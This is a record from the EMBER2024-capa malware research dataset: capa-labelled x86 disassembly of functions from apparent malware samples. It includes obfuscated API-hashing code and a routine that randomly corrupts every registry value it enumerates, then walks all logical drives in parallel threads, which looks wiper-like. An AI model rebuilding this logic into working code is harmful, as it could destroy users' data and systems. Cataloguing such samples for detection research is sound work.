joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3b765
Capabilities:
Hash data using murmur3

Disassembly:
push ecx
bt di, di
rol ebx, 0xd
bt esp, 0x13
cmp bp, bx
xor ecx, ebx
call fcn.0001ed3c
pushfd
mov byte [esp], dl
ror ebx, 7
stc
pushfd
xor edi, ebx
sub bl, bh
xor edi, ecx
bswap ebx
push dword [esp + 0xc]
mov ecx, edx
pop ebx
rol ecx, 0xf
rcr bl, 3
mov ebx, edx
jmp 0x3a5b7

Function at 0x3b95e
Capabilities:
Hash data using murmur3

Disassembly:
pushfd
ror ebx, 7
cmc
test ecx, 0xac1c6d98
pushfd
xor esi, ebx
bsr bx, di
push 0x7caa5dd4
lea ebx, [ebp - 0x46b02154]
xor esi, ecx
movzx ecx, dl
mov ecx, edx
bts bx, cx
clc
rol ecx, 0xf
not bh
stc
pushfd
mov ebx, edx
mov word [esp], 0x5b75
pushal
bt si, bx
jmp 0x30096
rol ebx, 0xd
bt dx, 2
pushfd
stc
push ebx
xor ecx, ebx
stc
mov byte [esp + 8], 0xa6
test ebp, edi
push 0xbeeb5619
shr edx, 0xa
call fcn.00013287
jmp 0x1ddc4

Function at 0x3b9d9
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
btc ecx, 0xd
mov ecx, esi
bt bx, 8
stc
clc
pushfd
ror eax, 0xb
push 0x56b48131
mov byte [esp + 4], 0x14
lea esp, [esp + 0xc]
jmp 0x38f61
mov dword [ebp - 0x19c], eax
lea esp, [esp + 0x30]
jae 0x40b66
btr ax, si
push 0x63119b79
ror ax, 7
mov eax, dword [ebp - 0x100]
btc cx, sp
mov dword [ebp - 0x1a4], eax
cwde
xchg al, cl
stc
movzx ax, cl
mov eax, dword [ebp - 0xfc]
pop ecx
setl cl
mov dword [ebp - 0x1b8], esi
stc
mov dword [ebp - 0x1ac], eax
ror ch, cl
lahf
mov dword [ebp - 0x1a0], ebx
stc
ror bh, 3
pushfd
mov ebx, dword [ebp - 0x19c]
lahf
mov eax, esi
stc
jmp 0x27aa5
call fcn.0002f720

Function at 0x3bc19
Capabilities:
Hash data using murmur3

Disassembly:
pushfd
inc dword [ebp - 0xb8]
call fcn.00010af6
bt ebx, esi
pushal
push 0x8847fabc
jmp 0x380ec
rol edi, 0xe
stc
push dword [esp]
pushfd
clc
ror ecx, 7
mov byte [esp], dl
mov byte [esp], bh
xor edi, ecx
stc
shl cl, cl
dec cx
mov ecx, dword [eax - 0x34]
bt ecx, esp
cmc
call fcn.00031649
jmp 0x1ab32
ror cx, 1
rol di, cl
xchg cx, di
mov dword [ebp - 0x1b0], esi
pushfd
pop edi
mov ecx, dword [eax]
push 0x2cd609a6
stc
pushfd
mov esi, ecx
rcr di, 4
pop edi
movsx di, al
rol esi, 0xf
lea edi, [edi - 0x41d4af80]
cmc
mov edi, ecx
push 0xdc5b96f9
rol edi, 0xd
push 0xa1211e7
xor esi, edi
bsr di, cx
pushfd
mov edi, dword [eax - 0x34]
cmp dl, bl
stc
cmp ch, 0x40
test ah, 0x98
shr ecx, 0xa
mov byte [esp + 4], 0xb5
cmp al, 0xc3
cmp di, 0x5eb3
stc
xor esi, ecx
rcr cx, 6
mov ecx, dword [eax - 0x34]
stc
lea esp, [esp + 0x34]
jns 0x29bc8
pushfd
push 0x92ed38b
rol edi, 0xe
pushal
bt sp, 4
ror ecx, 7
cmc
clc
cmc
xor edi, ecx
mov byte [esp], ah
inc cx
mov ecx, dword [eax - 0x34]
clc
mov byte [esp], 0xed
stc
shr ecx, 3
bt bx, dx
xor edi, ecx
pushfd
stc
cmp ecx, 0xd11ffed8
add esi, edi
jmp 0x3c9ed
cmc
add esi, dword [eax - 0x38]
pushfd
push dword [esp + 4]
pushfd
push dword [esp]
lea esp, [esp + 0x3c]
jmp fcn.0001e22b
Function at 0x3be0d
Capabilities:
Hash data using murmur3

Disassembly:
mov eax, dword [ebp - 0x1a0]
inc cx
pushfd
movsx cx, al
setle cl
mov ecx, dword [ebp - 0xb8]
pushfd
mov al, byte [ebp + eax - 0x18]
pushfd
pushfd
mov byte [ebp + ecx - 0xf8], al
push dword [esp + 4]
pushfd
call fcn.00033d29
pushal
pushal
lea esp, [esp + 0x44]
jp 0x3d763
call sub.ntoskrnl.exe__alldiv
pushfd
setnp ch
not edi
mov dword [ebp - 0x1c0], edx
pushfd
mov dword [ebp - 0x1c4], eax
call fcn.00037428
push ebp
lea esp, [esp + 4]
call sub.ntoskrnl.exe__alldiv
movzx di, al
pushal
mov dword [ebp - 0x1c0], edx
not ch
mov dword [ebp - 0x1c4], eax
movzx edx, al
mov dword [ebp - 0xc], 0xe8c192bb
mov dh, byte [esp + 4]
pushfd
lea eax, [edx - 0x3dbcaaef]
dec di
mov dword [ebp - 0x1a0], ebx
inc di
not edi
movsx edx, dl
mov edi, 0x100
pushfd
mov edx, 0x200
bswap eax
jmp 0x2d1df

Function at 0x3be4e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [ebp - 0x34], 0xbb67ae85
jmp 0x11c2c

Function at 0x3c143
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push dword [esp]
pushfd
lea esp, [esp + 0x4c]
call sub.ntoskrnl.exe_memset
push edx
mov byte [esp], ch
lea esp, [esp + 4]
jmp fcn.000358b1

Function at 0x3c502
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov byte [esp + 4], 0x7c
cmp edx, ecx
jmp 0x23cea

Function at 0x3c6c4
Capabilities:
Hash data using murmur3

Disassembly:
call fcn.0002d19d
pushal
pushfd
push dword [ebp + 0xc]
pop dword [esp + 0x44]
mov word [esp + 4], 0xbae3
mov byte [esp], dh
jmp 0x1cecf

Function at 0x3cd8f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movzx cx, dl
mov ecx, dword [eax + 0xcc]
pushfd
pushal
pushfd
lea esp, [esp + 0x28]
jmp fcn.0002c035
mov byte [esp + 8], ch
lea esp, [esp + 0x3c]
jge 0x1ce27
cmp al, al
cmc
mov ecx, dword [ecx]
bt sp, di
bt bx, si
cmc
bt ax, di
test ecx, ecx
jmp 0x3e73a
cmp ebx, dword [ebp + 0xc]
push dword [esp]
jmp 0x1e01a
pushal
push ebp
lea esp, [esp + 0x24]
jne fcn.0002c035
bswap ecx
jmp 0x1b144

Function at 0x3d058
Capabilities:
Hash data using murmur3

Disassembly:
rcr si, 1
stc
xor si, ax
not di
movzx esi, byte [eax - 1]
pushal
movzx edi, byte [eax]
pushfd
shl esi, 8
push dword [esp]
call fcn.0002fbd0
pop esi
stc
cmc
cmp ecx, esi
push 0x182ca3b6
push ebp
lea esp, [esp + 8]
jae 0x1b594
rcl eax, 0xd
push edx
shr ah, cl
xchg edi, eax
sub esi, ecx
pushal
ror di, cl
bswap di
cwde
lea eax, [ebp + ecx*4 - 0x2cc]
rol di, 5
btr di, 7
clc
mov dword [ebp - 0x1b0], esi
setle cl
mov ecx, dword [eax - 0x34]
stc
bswap di
btc esi, edx
lea esp, [esp + 0x24]
ja 0x2d9a8
mov esi, ecx
lea edi, [esp + 0x65c84536]
push ebx
btr di, bx
ror di, cl
rol esi, 0xe
rol di, cl
mov edi, ecx
pushfd
jmp 0x2f947
xchg esi, edi
mov esi, ecx
bt di, bx
movzx di, al
jmp loc.000140ad
jmp 0x2d96e
push 0x40
jmp 0x28039
bt si, 0xb
ror edi, 7
call fcn.0001de06
mov dword [esp + 0x2c], eax
push 0xb22fcb4c
push dword [esp]
call fcn.00040d57
lea esp, [esp + 0x48]
jb 0x24767
clc
xor esi, 0x8dd77197
bswap si
jmp 0x2e8dc
Function at 0x3d071
Capabilities:
Hash data using murmur3

Disassembly:
shr ecx, 3
push edi
ror ebx, 7
bt edx, 0x1f
xor esi, ebx
cmp ch, al
clc
rcl bh, cl
or ebx, ecx
xor esi, ecx
rcr bl, 2
cmc
jmp 0x1dbc5

Function at 0x3d2f5
Capabilities:
Hash data using murmur3

Disassembly:
mov dword [eax + 4], esi
push edx
push 0xa7c346d4
lea esp, [esp + 0x3c]
jmp 0x1b585

Function at 0x3d313
Capabilities:
Hash data using murmur3

Disassembly:
cmc
add ebx, 4
call fcn.0003f813

Function at 0x3d4a9
Capabilities:
Hash data using murmur3

Disassembly:
cmc
call fcn.00040bd6
mov byte [esp + 4], bh
lea esp, [esp + 0x28]
jle 0x31355
and edx, ecx
ror dh, cl
bsr dx, bx
mov edx, dword [eax + esi*8 + 0x78]
jno 0x358fa
bt bx, dx
pushfd
cmp edx, dword [eax + 0x54]
pushfd
pushfd
push dword [esp]
call fcn.00010fc6

Function at 0x3dde1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push dword [ebp + 0x18]
pop dword [esp + 8]
mov dword [esp], 0x2495a22a
push dword [ebp + 0x14]
pop dword [esp + 4]
call fcn.0003e982

Function at 0x3ded5
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
push eax
lea esp, [esp + 0xc]
jge 0x1ce27
jl 0x3f915
push esi
bt bx, 0xe
cmc
mov ecx, dword [ecx]
clc
clc
test ecx, ecx
pushfd
jmp 0x36aed
cmp si, si
cmc
mov ecx, dword [ecx]
cmc
test ecx, ecx
call fcn.0003c945

Function at 0x3df3d
Capabilities:
Hash data using murmur3

Disassembly:
mov dword [ebp - 0x1a8], eax
push dword [esp + 8]
lea eax, [ebp + 0x390824fb]
push 0x7a53041d
mov eax, dword [ebp - 0x104]
call fcn.0003551b
xchg bl, cl
mov dword [ebp - 0x194], eax
movsx bx, al
bt ax, di
mov eax, dword [ebp - 0x9c]
rol ch, 2
btc ecx, ebx
pop ecx
btr cx, 2
mov dword [ebp - 0x1a8], eax
xchg ebx, eax
mov eax, dword [ebp - 0x94]
movzx cx, bl
cmc
setns bl
xchg bx, cx
mov dword [ebp - 0x19c], eax
cmc
cwde
lahf
clc
mov eax, dword [ebp - 0x90]
xchg ebx, ecx
mov dword [ebp - 0x1a4], eax
lea esp, [esp + 0x38]
bt edi, edi
seta ah
rcr ebx, 0x12
lahf
mov eax, dword [ebp - 0x8c]
cmc
mov dword [ebp - 0x1b8], esi
clc
mov dword [ebp - 0x1ac], eax

Function at 0x3e0ba
Capabilities:
Hash data using murmur3

Disassembly:
mov word [esp + 0xc], 0x5351
pushfd
lea esp, [esp + 0x40]
jne 0x36614
btr ax, 4
test ah, ch
sub ecx, ecx
call fcn.0002da86

Function at 0x3e205
Capabilities:
Hash data using murmur3

Disassembly:
and ch, 0xc3
and bl, ch
jmp fcn.000194dd
rcr bx, 1
rol esi, 0xe
movzx bx, dl
inc bl
mov ebx, ecx
test ah, 3
bt sp, 7
shr ecx, 3
call fcn.0003b95e
pushfd
pushal
mov byte [esp], cl
lea esp, [esp + 0x2c]
jae 0x24819
sub dh, bh
shr dl, 2
stc
mov edx, esi
aad 0xd9
sub edx, ecx
cmc
lea eax, [ebp + ecx*4 - 0x2cc]
lea ebx, [ecx*4 + 0x1f3ffe68]
mov dword [ebp - 0x1b8], edx
push 0xad2139f2
pop esi
bswap ecx
movzx si, al
mov ecx, dword [eax - 0x34]
movsx bx, bl
mov edx, dword [eax]
btr bx, sp
pushfd
lea esi, [ecx - 0x5d153624]
mov esi, ecx
jmp 0x36d38
Function at 0x3e2aa
Capabilities:
Hash data using murmur3

Disassembly:
mov byte [esp], 1
xchg cx, di
mov ecx, dword [eax - 0x34]
ror dh, 4
bt edx, edi
btc si, si
mov edx, dword [eax]
movzx si, dl
mov esi, ecx
btc di, 7
cmc
rol di, cl
not di
rol esi, 0xe
rol di, cl
shrd di, bx, 3
clc
inc di
mov edi, ecx
cmc
stc
shr ecx, 3
pushal
ror edi, 7
test edi, 0xe467a3f0
test dx, di
test dh, 0xea
test ebx, 0xb9f31750
xor esi, edi
and di, cx
xor esi, ecx
rcl edi, 0x1a
not di
mov ecx, edx
clc
rol di, cl
pop edi
rol ecx, 0xf
rcr di, cl
push dword [esp]
bts di, cx
mov edi, edx
mov byte [esp], 0x91
cmc
stc
rol edi, 0xd
push 0x5c298037
pushfd
mov dword [esp + 4], esi
push dword [esp]
lea esp, [esp + 0x34]
jmp 0x3b173
Function at 0x3e9c7
Capabilities:
Hash data using murmur3

Disassembly:
mov byte [esp + 0x10], bh
add esi, dword [eax - 0x38]
clc
clc
clc
add eax, 4
pushfd
cmc
add esi, dword [eax - 0x18]
pushfd
jmp 0x334f3
and ax, 0xbb65
lea eax, [ebx*4 + 0x79c1f896]
mov eax, dword [ebp - 0x1a4]
bt edi, edi
cmc
pushfd
jmp 0x22f67
call fcn.0003c6dc
mov byte [esp + 4], 0xe
mov dword [ebp - 0xb0], ebx
pushfd
mov dword [ebp - 0xac], ebx
mov byte [esp], al
jmp 0x3a04c
add dword [ebp - 0x20], eax
inc ah
aam 0x7b
mov eax, dword [ebp - 0x1b4]
test cl, cl
test dh, bh
push edx
add dword [ebp - 0x38], ebx
mov byte [esp], 0x93
add dword [ebp - 0x28], edx
push 0x17d03f8b
test bl, dl
cmc
add dword [ebp - 0x1c], eax
bt ax, dx
bt si, 0xe
bt bx, 8
add dword [ebp - 0x40], 0x200
pushfd
adc dword [ebp - 0x3c], 0
clc
and dword [ebp - 0x48], 0
call fcn.0002892d
lea esp, [esp + 0x20]
jo 0x342dd
rol esi, 0xe
xor di, bx
bswap di
ror di, cl
mov edi, ecx
call fcn.00011a7e
pushfd
dec dword [ebp - 0x1b8]
jmp 0x34765
rcr di, cl
not di
stc
ror di, cl
rol esi, 0xe
btr di, 6
or edi, edx
mov edi, ecx
pushfd
mov byte [esp], 0xf0
shr ecx, 3
pushal
ror edi, 7
cmc
push 0xd8b56561
clc
xor esi, edi
xor di, 0x44ee
stc
bts di, ax
bt dx, dx
xor esi, ecx
bswap di
setl ch
btr di, 0xe
mov ecx, edx
ror di, cl
push 0x391da9c2
ror edi, 0x1c
rol ecx, 0xf
movzx di, bl
ror di, 0xa
mov edi, edx
jmp 0x3a8cf
mov dword [eax + 4], esi
pushfd
pushfd
lea esp, [esp + 0x48]
jne 0x3e9fd
dec si
btc esi, 9
mov eax, dword [ebp - 0x34]
or ch, 8
sub edi, esi
neg edx
mov esi, dword [ebp - 0x38]
shl edi, 0x15
mov edx, dword [ebp - 0x28]
add di, sp
and dword [ebp - 0x1a0], 0
bts ecx, 0x1d
sete ch
lea edi, [edx*2 + 0x3d33e727]
bswap di
mov dword [ebp - 0x198], eax
btc ax, 9
bt ax, 0xf
mov eax, dword [ebp - 0x30]
lea ecx, [edi + 0x43ad609a]
pushal
mov dword [ebp - 0x19c], eax
ror ah, 5
stc
call fcn.0003b9a4
call fcn.000317c2
add dword [ebp - 0x2c], eax
clc
movsx eax, dl
shld ax, di, 3
mov eax, dword [ebp - 0x19c]
cmc
add dword [ebp - 0x24], eax
movsx ax, dl
jmp 0x1e0f1
mov byte [esp + 4], 0xc8
rol edi, 0xd
cmp ax, si
cmp cx, dx
xor ecx, edi
cmp si, si
pushfd
test bp, ax
clc
shr edx, 0xa
stc
test cl, dh
xor ecx, edx
cmc
add esi, ecx
push dword [esp]
jmp 0x1a8be
cmc
bt si, 0xb
mov dword [ebp - 0x1b8], edx
movzx cx, dl
lea esi, [ebx*4 - 0x17d6a334]
mov ecx, dword [eax - 0x34]
rcl edi, 7
mov edx, dword [eax]
rcr di, cl
not esi
clc
mov esi, ecx
stc
pushal
jmp 0x2314e
cmp ecx, edx
push eax
lea esp, [esp + 8]
jae 0x22503
aaa
inc si
sub edx, ecx
xchg si, ax
movzx ax, cl
lea eax, [ebp + ecx*4 - 0x2cc]
ror ch, 3
jnp 0x3cf9f
movzx cx, bl
not si
mov dword [ebp - 0x1b8], edx
movzx cx, bl
mov ecx, dword [eax - 0x34]
btr dx, 6
ror dl, cl
not di
mov edx, dword [eax]
push esp
movzx si, dl
mov esi, ecx
cmc
rcr di, cl
rol di, cl
rol esi, 0xe
dec di
cmp bh, cl
mov edi, ecx
call fcn.0001bdc0

Function at 0x3ed96
Capabilities:
Hash data using murmur3

Disassembly:
call fcn.0002cedd
mov dword [ebp - 0xc], eax
pushfd
lea esp, [esp + 8]
jle 0x33108
pushfd
lea esp, [esp + 4]
je 0x1e7f8
bswap edi
mov di, di
push 0
push 0xed1fb415
pop edi
mov edi, 0x438
jmp loc.000131e5
Function at 0x3f321
Capabilities:
Hash data using murmur3

Disassembly:
cmc
xor esi, edi
lea edi, [0x12806784]
btc edi, 0x1b
mov edi, dword [eax]
mov byte [esp], al
push 0x4723a0bd
shr ecx, 3
cmc
cmp dh, bh
clc
xor esi, ecx
mov word [esp + 0xc], 0xccc2
bt ebx, edx
mov ecx, dword [eax]
pushal
rol edi, 0xf
bt dx, 0xb
rol ecx, 0xd
jmp 0x13362
ror edi, 7
test al, 0xfd
mov byte [esp + 8], 0xf1
jmp 0x2230c

Function at 0x3f541
Capabilities:
Hash data using murmur3

Disassembly:
mov dword [esp + 0x2c], ebx
push 0x21139b91
lea esp, [esp + 0x30]
jle 0x3ee36
push eax
pushal
mov dword [esp + 0x20], edi
call fcn.0002cb4b
push esp
push 0xa5005b23
lea esp, [esp + 0x2c]
je 0x25b9c
push 0xa131199e
pushal
pop eax
lahf
mov eax, dword [edi]
push dword [esp + 4]
pushfd
push dword [esp]
pushfd
dec eax
push dword [esp + 4]
mov byte [esp], 0x11
push dword [esp + 8]
push 0xe165f74c
lea esp, [esp + 0x3c]
je 0x36cb2
push 0xfa0c9924
call fcn.0003571b
pushfd
jmp 0x2287a
push eax
jmp 0x12eae
pushal
cmp eax, ebx
jmp 0x2d0bb

Function at 0x3f778
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
pop eax
xchg ah, cl
lea eax, [ebp - 0x7cddabec]
mov eax, dword [ebp - 0x1a0]
pushfd
movzx cx, dl
push dword [esp + 4]
mov ecx, dword [ebp - 0xb8]
pushal
call fcn.00035d46

Function at 0x3f85d
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
jmp 0x38b36
jmp 0x2ed55
test dl, 0x5b
cmp esi, 0xa
push ecx
jmp 0x1f245
mov word [esp], 0x2820
lea esp, [esp + 4]
jne 0x2c027
push 0x12501b17
lea ecx, [edx + eax]
dec bl
and bx, 0x7a9a
mov ebx, ecx
clc
cmc
pushal
cmc
sub ebx, edi
cmp bl, 0xce
clc
call fcn.0003d313
push 0x20976444
lea esp, [esp + 0xc]
jb 0x2c03a
jmp 0x25510

Function at 0x3f895
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
jmp 0x23cb6
bt cx, ax
add eax, dword [ecx + 0x174b8]
cmc
cmc
mov ecx, edx
cmp dx, ax
cmp al, al
cmc
stc
add eax, dword [ebp - 0x1ac]
jmp 0x3c139

Function at 0x3f8f6
Capabilities:
Hash data using murmur3

Disassembly:
pushal
mov esi, ecx
not di
rol esi, 0xe
stc
mov edi, ecx
cmc
push 0x26ec0625
ror edi, 7
jmp 0x27222

Function at 0x3fa1d
Capabilities:
Hash data using murmur3

Disassembly:
mov byte [ebp - 0x4c], dl
mov dl, 0xd0
not dl
not dl
mov dl, al
mov byte [esp + 4], 0xf7
mov byte [ebp - 0x4d], dl
mov byte [esp + 4], bl
pushfd
mov byte [esp], 0xfe
mov byte [esp + 4], 0x42
lea esp, [esp + 0x50]
jmp 0x1f711

Function at 0x3fbc2
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
call fcn.00010b9f
mov dword [esp], edi
pushfd
mov word [esp], si
mov dword [esp + 0x48], eax
not eax
pushfd
lea eax, [ebp - 0x48]
jmp 0x23ca8

Function at 0x3fdbd
Capabilities:
Hash data using murmur3

Disassembly:
cmc
cmc
add esp, 0x10
cmc
stc
pushfd
cmp dword [eax], 1
push esp
pushfd
mov dword [esp + 8], esi
pushfd
not al
setne al
stc
cmp bl, 0xaf
test dl, 0xa6
clc
add al, 3
pushfd
mov byte [esi + 0x10], al
pushfd
pushal
mov word [esp + 8], sp
lea esp, [esp + 0x34]
call fcn.00013846
push edx
jmp 0x215a8
Function at 0x3fe12
Capabilities:
Hash data using murmur3

Disassembly:
call fcn.00038e77
lea esp, [esp + 4]
jae 0x124b0
and edx, ebp
shl dh, 2
push 0x38
sub ch, dh
movsx dx, dl
rol cl, 7
pop edx
push ecx
sar cl, 1
bt dx, cx
push dword [esp]
sub edx, eax
bswap ecx
movsx ecx, al
movsx cx, dl
pushfd
mov dword [esp + 8], edx
pushfd
lea ecx, [ebp + eax - 0xf8]
mov byte [esp + 8], cl
mov byte [esp + 4], 0xea
pushal
mov dword [esp + 0x28], 0
push 0x585f93ab
pushfd
jmp 0x2b101

Function at 0x3fec6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 0x24]
jne 0x2c027
dec bx
lea ecx, [edx + eax]
stc
test edx, 0x4fa4bf60
inc ebx
mov ebx, ecx
push ebx
cmp si, 0x9747
call fcn.00035b2f

Function at 0x40628
Capabilities:
Hash data using murmur3

Disassembly:
lea esp, [esp + 0x40]
jne 0x37d15
aaa
ror si, cl
sbb ah, 0xaf
sub ecx, ecx
xchg di, ax
aam 0x5b
push esi
btr di, sp
lea eax, [ebp - 0xf7]
test bp, 0x52dc
movzx esi, byte [eax - 1]
cmp al, bh
shrd edi, ecx, 1
cmc
shl di, cl
movzx edi, byte [eax]
jmp 0x30260
pushfd
pushal
or esi, edi
sar edi, 0x13
bt bp, bx
shr di, cl
add di, 0xb525
movzx edi, byte [eax + 1]
push 0x76545f8
shl esi, 8
mov byte [esp], 0x86
pushfd
or esi, edi
lea edi, [edx - 0x7b337b6d]
add di, 0xb0b1
rcr di, 0xd
rcr di, 0xb
movzx edi, byte [eax + 2]
test esp, esi
test dx, dx
jmp 0x36bee
bt bp, 2
pushfd
shl esi, 8
jmp 0x2d838
shl esi, 8
jmp loc.00012b6e
jmp 0x259fe

Function at 0x40a72
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
push ecx
push 0x4dd792f9
mov byte [esp], 0x3c
inc dword [ebp - 0xb8]
stc
mov word [esp + 0xc], si
test bh, 0x90
bt esp, 8
cmp dword [ebp - 0xb8], 0x40
call fcn.00013c24

Function at 0x411d8
Capabilities:
Hash data using murmur3

Disassembly:
bswap cx
mov ecx, dword [eax]
mov word [esp + 4], 0x7f8e
clc
mov word [esp + 4], sp
cmc
rol edi, 0xf
cmc
mov byte [esp], 0x50
bt eax, 2
rol ecx, 0xd
push dword [esp + 0x10]
call fcn.00010c3b
Function at 0x4010a0
Capabilities:
Generate random numbers via winapi
Query or enumerate registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
push 0x3000
push 0x208
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0
mov edi, eax
mov dword [ebp - 0x10], 0x104
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x20], edi
push eax
push edi
push 0
push ebx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
je 0x40113a
lea eax, [ebp - 0x18]
push eax
push 0x2001f
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401116
mov ecx, dword [ebp - 0x18]
call fcn.004010a0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x104
push eax
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
inc esi
cmp eax, 0x103
jne 0x4010f7
push 4
push 0x3000
push 0x2000
push 0
mov dword [ebp - 0x14], 0x2000
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x1c], eax
push ecx
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov esi, 1
mov dword [ebp - 0x18], esi
cmp eax, 0x103
je 0x40125f
test eax, eax
jne 0x401228
mov edi, dword [ebp - 0x14]
xor esi, esi
test edi, edi
je 0x401204
mov eax, dword [0x403330]
test eax, eax
jne 0x4011cd
push 0xf0000040
push 1
push eax
push eax
push 0x403330
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x401293
mov eax, dword [0x403330]
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov cl, byte [esi + eax]
lea eax, [ecx + 1]
dec cl
and dl, 1
movzx eax, al
movzx ecx, cl
cmovne ecx, eax
mov eax, dword [ebp - 0x1c]
mov byte [esi + eax], cl
inc esi
cmp esi, edi
jb 0x4011a3
mov edi, dword [ebp - 0x14]
jmp 0x401207
mov eax, dword [ebp - 0x1c]
push edi
mov edi, dword [ebp - 0x20]
push eax
push dword [ebp - 8]
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401225
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x2000
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
inc esi
mov dword [ebp - 0x18], esi
cmp eax, 0x103
jne 0x401192
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x1c]
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040165a
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401590
Capabilities:
Create thread
Get disk information
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x403330], 0
jne 0x4015bf
push 0xf0000040
push 1
push 0
push 0
push 0x403330
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x4015bf
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push 0
push 0
push 0
push 0x401040
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov esi, eax
test esi, esi
je 0x401654
push edi
push 4
push 0x3000
lea ecx, [esi*2 + 2]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x401653
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test edi, edi
je 0x401643
push 0
push 0
push esi
push 0x401570
push 0
push 0
call ebx
lea esi, [esi + edi*2]
add esi, 2
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test edi, edi
jne 0x401620
push 0x8000
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret